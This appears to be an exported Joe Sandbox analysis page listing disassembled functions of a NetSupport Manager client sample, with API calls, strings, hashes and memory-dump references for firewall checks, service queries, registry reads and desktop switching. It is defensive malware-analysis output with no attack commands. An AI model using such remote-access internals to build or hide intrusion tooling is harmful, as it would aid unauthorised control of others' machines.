Associated: 00000005.00000002.4132682432.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132703581.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_shv.jbxd

Yara matches

Similarity

API ID: Enum$Open$CloseValue
String ID: %s\%s\%s\$Client$Client$Client.%04d.%s$DisableUserPolicies$Software\Policies\NetSupport$Software\Policies\NetSupport\Client$Software\Policies\NetSupport\Client\Standard$Standard
API String ID: 2823542970-1528906934
Opcode ID: 4cf0c36994a383612a719e249f3f276c0f36ade9332230c7c569e8670290d878
Instruction ID: 3a074a016260bf88f68c0586b8c591cabbb012c9b5ad66670ab8b6bf40d046b4
Opcode Fuzzy Hash: 4cf0c36994a383612a719e249f3f276c0f36ade9332230c7c569e8670290d878
Instruction Fuzzy Hash: 5F416179E4022DABD724CB55CC81FEAB7BCEB94748F1001D9EA48A6140D6B06E84CFA1

Function 11137630 Relevance: 22.9, APIs: 6, Strings: 7, Instructions: 130COMMON

Download Yara Rule

APIs

Part of subcall function 1105DD10: __wcstoi64.LIBCMT ref: 1105DD4D

GetTickCount.KERNEL32 ref: 11137692

Part of subcall function 11096970: CoInitialize.OLE32(00000000), ref: 11096984
Part of subcall function 11096970: CLSIDFromProgID.COMBASE(HNetCfg.FwMgr,?,?,?,?,?,?,?,1113769B), ref: 1109699E
Part of subcall function 11096970: CoCreateInstance.OLE32(?,00000000,00000001,111C08AC,?,?,?,?,?,?,?,1113769B), ref: 110969BB
Part of subcall function 11096970: CoUninitialize.OLE32(?,?,?,?,?,?,1113769B), ref: 110969D9

GetTickCount.KERNEL32 ref: 111376A1
_memset.LIBCMT ref: 111376E3
GetModuleFileNameA.KERNEL32(00000000,?,00000105), ref: 111376F9
_strrchr.LIBCMT ref: 11137708
_free.LIBCMT ref: 1113775A

Strings

ICFConfig, xrefs: 11137645
*AutoICFConfig, xrefs: 11137667
No ICF present, xrefs: 11137792
Client, xrefs: 1113766C
ICFConfig2 returned 0x%x, xrefs: 11137760
IsICFPresent..., xrefs: 1113767F
IsICFPresent() took %d ms, xrefs: 111376AD

Memory Dump Source

Source File: 00000005.00000002.4132521378.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4132504761.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132682432.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132703581.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_shv.jbxd

Yara matches

Similarity

API ID: CountTick$CreateFileFromInitializeInstanceModuleNameProgUninitialize__wcstoi64_free_memset_strrchr
String ID: *AutoICFConfig$Client$ICFConfig$ICFConfig2 returned 0x%x$IsICFPresent() took %d ms$IsICFPresent...$No ICF present
API String ID: 711243594-1270230032
Opcode ID: 4f0f92e27c35dbd641ed9010d5cad7dccc431a8d4141c0f1938ec124a93e63f3
Instruction ID: 94b21c48fabd249aebac1ca0d473d12a11480cc4bb4ab1ee9f0f9b3b40903c19
Opcode Fuzzy Hash: 4f0f92e27c35dbd641ed9010d5cad7dccc431a8d4141c0f1938ec124a93e63f3
Instruction Fuzzy Hash: 9941AE7AE0022E97C710DF756C89BEFF7699B5471DF040079E90493140EAB1AD44CBE1

Function 11133E80 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 101windowCOMMON

Download Yara Rule

APIs

Part of subcall function 11145440: _memset.LIBCMT ref: 11145485
Part of subcall function 11145440: GetVersionExA.KERNEL32(?,00000000,00000000), ref: 1114549E
Part of subcall function 11145440: LoadLibraryA.KERNEL32(kernel32.dll), ref: 111454C5
Part of subcall function 11145440: GetProcAddress.KERNEL32(00000000,GetUserDefaultUILanguage), ref: 111454D7
Part of subcall function 11145440: FreeLibrary.KERNEL32(00000000), ref: 111454EF
Part of subcall function 11145440: GetSystemDefaultLangID.KERNEL32 ref: 111454FA

AdjustWindowRectEx.USER32(111417B8,00CE0000,00000001,00000001), ref: 11133EC7
LoadMenuA.USER32(00000000,000003EC), ref: 11133ED8
GetSystemMetrics.USER32(00000021), ref: 11133EE9
GetSystemMetrics.USER32(0000000F), ref: 11133EF1
GetSystemMetrics.USER32(00000004), ref: 11133EF7
GetDC.USER32(00000000), ref: 11133F03
GetDeviceCaps.GDI32(00000000,0000005A), ref: 11133F0E
ReleaseDC.USER32(00000000,00000000), ref: 11133F1A
CreateWindowExA.USER32(00000001,NSMWClass,02E00138,00CE0000,80000000,80000000,111417B8,?,00000000,?,11000000,00000000), ref: 11133F6F
GetLastError.KERNEL32(?,?,?,?,?,110F7D09,00000001,111417B8,_debug), ref: 11133F77

Strings

NSMWClass, xrefs: 11133F69
CreateMainWnd, hwnd=%x, e=%d, xrefs: 11133F7F
mainwnd ht1=%d, ht2=%d, yppi=%d, xrefs: 11133F2E

Memory Dump Source

Source File: 00000005.00000002.4132521378.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4132504761.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132682432.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132703581.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_shv.jbxd

Yara matches

Similarity

API ID: System$Metrics$LibraryLoadWindow$AddressAdjustCapsCreateDefaultDeviceErrorFreeLangLastMenuProcRectReleaseVersion_memset
String ID: CreateMainWnd, hwnd=%x, e=%d$NSMWClass$mainwnd ht1=%d, ht2=%d, yppi=%d
API String ID: 1594747848-1114959992
Opcode ID: 75f297c2efb98d08cbe097e8d34710f0383f1ebd178d5accfa4770b5d5071ee0
Instruction ID: 5297cf036ba1cbd73fc44df567c8a611b910eb11675e7325f2afb4d5e36916b9
Opcode Fuzzy Hash: 75f297c2efb98d08cbe097e8d34710f0383f1ebd178d5accfa4770b5d5071ee0
Instruction Fuzzy Hash: C4316275E10219ABDB149FF58C85FAFFBB8EB48709F100529FA25B7284D67469008BA4

Function 1102CC10 Relevance: 21.3, APIs: 8, Strings: 4, Instructions: 284servicesleepCOMMON

Download Yara Rule

APIs

OpenSCManagerA.ADVAPI32(00000000,00000000,000F003F,?,00000000,19141918,1102DD98,00000000,1B492F88,?,00000000,00000000), ref: 1102CE44
OpenServiceA.ADVAPI32(00000000,ProtectedStorage,00000004), ref: 1102CE5A
QueryServiceStatus.ADVAPI32(00000000,?), ref: 1102CE6E
CloseServiceHandle.ADVAPI32(00000000), ref: 1102CE75
Sleep.KERNEL32(00000032), ref: 1102CE86
CloseServiceHandle.ADVAPI32(00000000), ref: 1102CE96
Sleep.KERNEL32(000003E8), ref: 1102CEE2
CloseHandle.KERNEL32(?), ref: 1102CF0F

Strings

ProtectedStorage, xrefs: 1102CE54
NSM.LIC, xrefs: 1102CF47
NSA.LIC, xrefs: 1102CF56, 1102CF5D, 1102CF8D
>, xrefs: 1102CDBB

Memory Dump Source

Source File: 00000005.00000002.4132521378.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4132504761.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132682432.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132703581.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_shv.jbxd

Yara matches

Similarity

API ID: Service$CloseHandle$OpenSleep$ManagerQueryStatus
String ID: >$NSA.LIC$NSM.LIC$ProtectedStorage
API String ID: 83693535-2077998243
Opcode ID: 8822f1513d5873ee506041ece4c3caa14d779e6eafa0361d2a69553500dbb03f
Instruction ID: 880dc79335238c7f7dd8ff78cda89552a6d5dde84d0873ba54ec41c4173cff75
Opcode Fuzzy Hash: 8822f1513d5873ee506041ece4c3caa14d779e6eafa0361d2a69553500dbb03f
Instruction Fuzzy Hash: 27B19475E012259FDB25DFA4CD80BEDB7B5BB48708F5041E9E919AB381DB70AA80CF50

Function 11132BF0 Relevance: 21.1, APIs: 5, Strings: 7, Instructions: 107COMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 11132C60
GetTickCount.KERNEL32 ref: 11132C91
SHGetFolderPathA.SHFOLDER(00000000,0000002B,00000000,00000000,?), ref: 11132CA4
GetTickCount.KERNEL32 ref: 11132CAC

Strings

Warning. SHGetFolderPath took %d ms, xrefs: 11132CB6
schplayer.exe, xrefs: 11132CE8
HasStudentComponents=%d, xrefs: 11132D27
runplugin.exe, xrefs: 11132C3E
Software\NSL, xrefs: 11132CD4
CommonPath, xrefs: 11132CCF
%s%s, xrefs: 11132C5A, 11132CFE

Memory Dump Source

Source File: 00000005.00000002.4132521378.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4132504761.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132682432.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132703581.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_shv.jbxd

Yara matches

Similarity

API ID: CountTick$FolderPathwsprintf
String ID: %s%s$CommonPath$HasStudentComponents=%d$Software\NSL$Warning. SHGetFolderPath took %d ms$runplugin.exe$schplayer.exe
API String ID: 1170620360-4157686185
Opcode ID: 8db97a347cf6facb783ebfea5336d263050bbd002d3c3d3218a55bc412e7ce30
Instruction ID: 1138b9c1199a8041912b1953dd267279d987a2a799c8ea79b9a25deb6d60bab0
Opcode Fuzzy Hash: 8db97a347cf6facb783ebfea5336d263050bbd002d3c3d3218a55bc412e7ce30
Instruction Fuzzy Hash: F33157BAE4022E67E700AFB0AC84FEDF36C9B9471EF1000A9E915A7145EA72B545C761

Function 111450A0 Relevance: 19.4, APIs: 5, Strings: 6, Instructions: 175registryCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetVersionExA.KERNEL32(111F0EF0,75BF8400), ref: 111450D0
RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Windows NT\CurrentVersion,00000000,00000001,?), ref: 1114510F
_memset.LIBCMT ref: 1114512D

Part of subcall function 11143000: RegQueryValueExA.KERNEL32(00000000,?,?,00000000,00000000,00000000,1110F4CB,75BF8400,?,?,1114515F,00000000,CSDVersion,00000000,00000000,?), ref: 11143020

_strncpy.LIBCMT ref: 111451FA

Part of subcall function 11163A2D: __isdigit_l.LIBCMT ref: 11163A52

RegCloseKey.KERNEL32(00000000), ref: 11145296

Strings

CurrentMinorVersionNumber, xrefs: 11145260
Service Pack, xrefs: 111452DD
CSDVersion, xrefs: 1114514A
CurrentVersion, xrefs: 11145174
CurrentMajorVersionNumber, xrefs: 11145228
SOFTWARE\Microsoft\Windows NT\CurrentVersion, xrefs: 111450FB

Memory Dump Source

Source File: 00000005.00000002.4132521378.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4132504761.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132682432.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132703581.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_shv.jbxd

Yara matches

Similarity

API ID: CloseOpenQueryValueVersion__isdigit_l_memset_strncpy
String ID: CSDVersion$CurrentMajorVersionNumber$CurrentMinorVersionNumber$CurrentVersion$SOFTWARE\Microsoft\Windows NT\CurrentVersion$Service Pack
API String ID: 3299820421-2117887902
Opcode ID: a6d85e33813e4188b4b6cdba8074358a089f7fb1fdaa889e4758e92ad03e0a5c
Instruction ID: 1fcbe558ef897eaa1b38a7330f4b62b9d1ba330f7a3c6d488077e096d0eda0f8
Opcode Fuzzy Hash: a6d85e33813e4188b4b6cdba8074358a089f7fb1fdaa889e4758e92ad03e0a5c
Instruction Fuzzy Hash: 6D51D9B1E0022BEFEB51CF60CD41F9EF7B9AB04B08F104199F519A7941E7716A48CB91

Function 11026BA0 Relevance: 19.4, APIs: 3, Strings: 8, Instructions: 174sleepCOMMON

Download Yara Rule

APIs

_strtok.LIBCMT ref: 11026C26
_strtok.LIBCMT ref: 11026C60
Sleep.KERNEL32(1102FC53,?,*max_sessions,0000000A,00000000,00000000,00000002), ref: 11026D54

Strings

Retrying..., xrefs: 11026D42
Error. not all transports loaded (%d/%d), xrefs: 11026D28
Protocols, xrefs: 11026C11
UseNCS, xrefs: 11026C7D
TCPIP, xrefs: 11026C82
Client, xrefs: 11026C16, 11026CBB
LoadTransports(%d), xrefs: 11026C9C
*max_sessions, xrefs: 11026CB6

Memory Dump Source

Source File: 00000005.00000002.4132521378.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4132504761.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132682432.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132703581.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_shv.jbxd

Yara matches

Similarity

API ID: _strtok$Sleep
String ID: *max_sessions$Client$Error. not all transports loaded (%d/%d)$LoadTransports(%d)$Protocols$Retrying...$TCPIP$UseNCS
API String ID: 2009458258-3774545468
Opcode ID: 078eda5116f2816b6dc994d4a65e88964a73d5216bb2e8940b960da01685ed19
Instruction ID: 546c7fd96e7e5c201e62e0728b24f9c1e86d1f0ab762c79c207aecf2c2ec1ca9
Opcode Fuzzy Hash: 078eda5116f2816b6dc994d4a65e88964a73d5216bb2e8940b960da01685ed19
Instruction Fuzzy Hash: A951F375E0525E9BDF11EFA9CC80BBEFBB5EB84308FA44069DC1167284E631A846C742

Function 11102C50 Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 68threadCOMMON

Download Yara Rule

APIs

Part of subcall function 11089280: UnhookWindowsHookEx.USER32(?), ref: 110892A3

GetCurrentThreadId.KERNEL32 ref: 11102C6C
GetThreadDesktop.USER32(00000000), ref: 11102C73
OpenDesktopA.USER32(?,00000000,00000000,02000000), ref: 11102C83
SetThreadDesktop.USER32(00000000), ref: 11102C90
CloseDesktop.USER32(00000000), ref: 11102CA9
GetLastError.KERNEL32 ref: 11102CB1
CloseDesktop.USER32(00000000), ref: 11102CC7
GetLastError.KERNEL32 ref: 11102CCF

Strings

SetThreadDesktop(%s) ok, xrefs: 11102C9B
OpenDesktop(%s) failed, e=%d, xrefs: 11102CD7
SetThreadDesktop(%s) failed, e=%d, xrefs: 11102CB9

Memory Dump Source

Source File: 00000005.00000002.4132521378.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4132504761.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132682432.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132703581.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_shv.jbxd

Yara matches

Similarity

API ID: Desktop$Thread$CloseErrorLast$CurrentHookOpenUnhookWindows
String ID: OpenDesktop(%s) failed, e=%d$SetThreadDesktop(%s) failed, e=%d$SetThreadDesktop(%s) ok
API String ID: 2036220054-60805735
Opcode ID: 6b535c7b41aace8396d526edc80c79a44f907d57885ab2fb7f21c89248cbb4d8
Instruction ID: e6b285a79aa3308c0e4e86645e8e2c70f1a73097c1882eeb774c19519f5c9288
Opcode Fuzzy Hash: 6b535c7b41aace8396d526edc80c79a44f907d57885ab2fb7f21c89248cbb4d8
Instruction Fuzzy Hash: 5D11C679A042167BE7086BB15C89FBFFA2DAFC571CF051438F91786545EE24B40483B6

Function 1115E380 Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 57COMMON

Download Yara Rule

APIs

GlobalAddAtomA.KERNEL32(NSMWndClass), ref: 1115E3A8
GetLastError.KERNEL32 ref: 1115E3B5
wsprintfA.USER32 ref: 1115E3C8

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

Part of subcall function 11029450: _strrchr.LIBCMT ref: 11029545
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029584

GlobalAddAtomA.KERNEL32(NSMReflect), ref: 1115E40C
GlobalAddAtomA.KERNEL32(NSMDropTarget), ref: 1115E419

Strings

NSMWndClass, xrefs: 1115E3A0
NSMDropTarget, xrefs: 1115E40E
m_aProp, xrefs: 1115E3FA
..\ctl32\wndclass.cpp, xrefs: 1115E3D9, 1115E3F5
GlobalAddAtom failed, e=%d, xrefs: 1115E3C2
NSMReflect, xrefs: 1115E407

Memory Dump Source

Source File: 00000005.00000002.4132521378.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4132504761.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132682432.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132703581.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_shv.jbxd

Yara matches

Similarity

API ID: AtomGlobal$ErrorExitLastProcesswsprintf$Message_strrchr
String ID: ..\ctl32\wndclass.cpp$GlobalAddAtom failed, e=%d$NSMDropTarget$NSMReflect$NSMWndClass$m_aProp
API String ID: 1734919802-1728070458
Opcode ID: c283eabc343593951191b6a2689ac3898b07c71967e340f2684f7c9ae3ac2948
Instruction ID: 2151ae3f148807adf1b9b51829e7bc1db46dc9b6ec15270657221fcdabbc1952
Opcode Fuzzy Hash: c283eabc343593951191b6a2689ac3898b07c71967e340f2684f7c9ae3ac2948
Instruction Fuzzy Hash: 1B110479A01319ABC720EFE69C84A96F7B4FF2231CB40822EE46543240DA706944CB51

Function 111100D0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 132threadCOMMON

Download Yara Rule

APIs

Part of subcall function 1110F420: _malloc.LIBCMT ref: 1110F439
Part of subcall function 1110F420: wsprintfA.USER32 ref: 1110F454
Part of subcall function 1110F420: _memset.LIBCMT ref: 1110F477

std::exception::exception.LIBCMT ref: 1111013A
__CxxThrowException@8.LIBCMT ref: 1111014F
GetCurrentThreadId.KERNEL32 ref: 11110166
InitializeCriticalSection.KERNEL32(-00000010,?,11031040,00000001,00000000), ref: 11110179
InitializeCriticalSection.KERNEL32(111F08F0,?,11031040,00000001,00000000), ref: 11110188
EnterCriticalSection.KERNEL32(111F08F0,?,11031040), ref: 1111019C
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,?,11031040), ref: 111101C2
LeaveCriticalSection.KERNEL32(111F08F0,?,11031040), ref: 1111024F

Strings

..\ctl32\Refcount.cpp, xrefs: 111101D6
QueueThreadEvent, xrefs: 111101DB

Memory Dump Source

Source File: 00000005.00000002.4132521378.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4132504761.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132682432.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132703581.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_shv.jbxd

Yara matches

Similarity

API ID: CriticalSection$Initialize$CreateCurrentEnterEventException@8LeaveThreadThrow_malloc_memsetstd::exception::exceptionwsprintf
String ID: ..\ctl32\Refcount.cpp$QueueThreadEvent
API String ID: 1976012330-1024648535
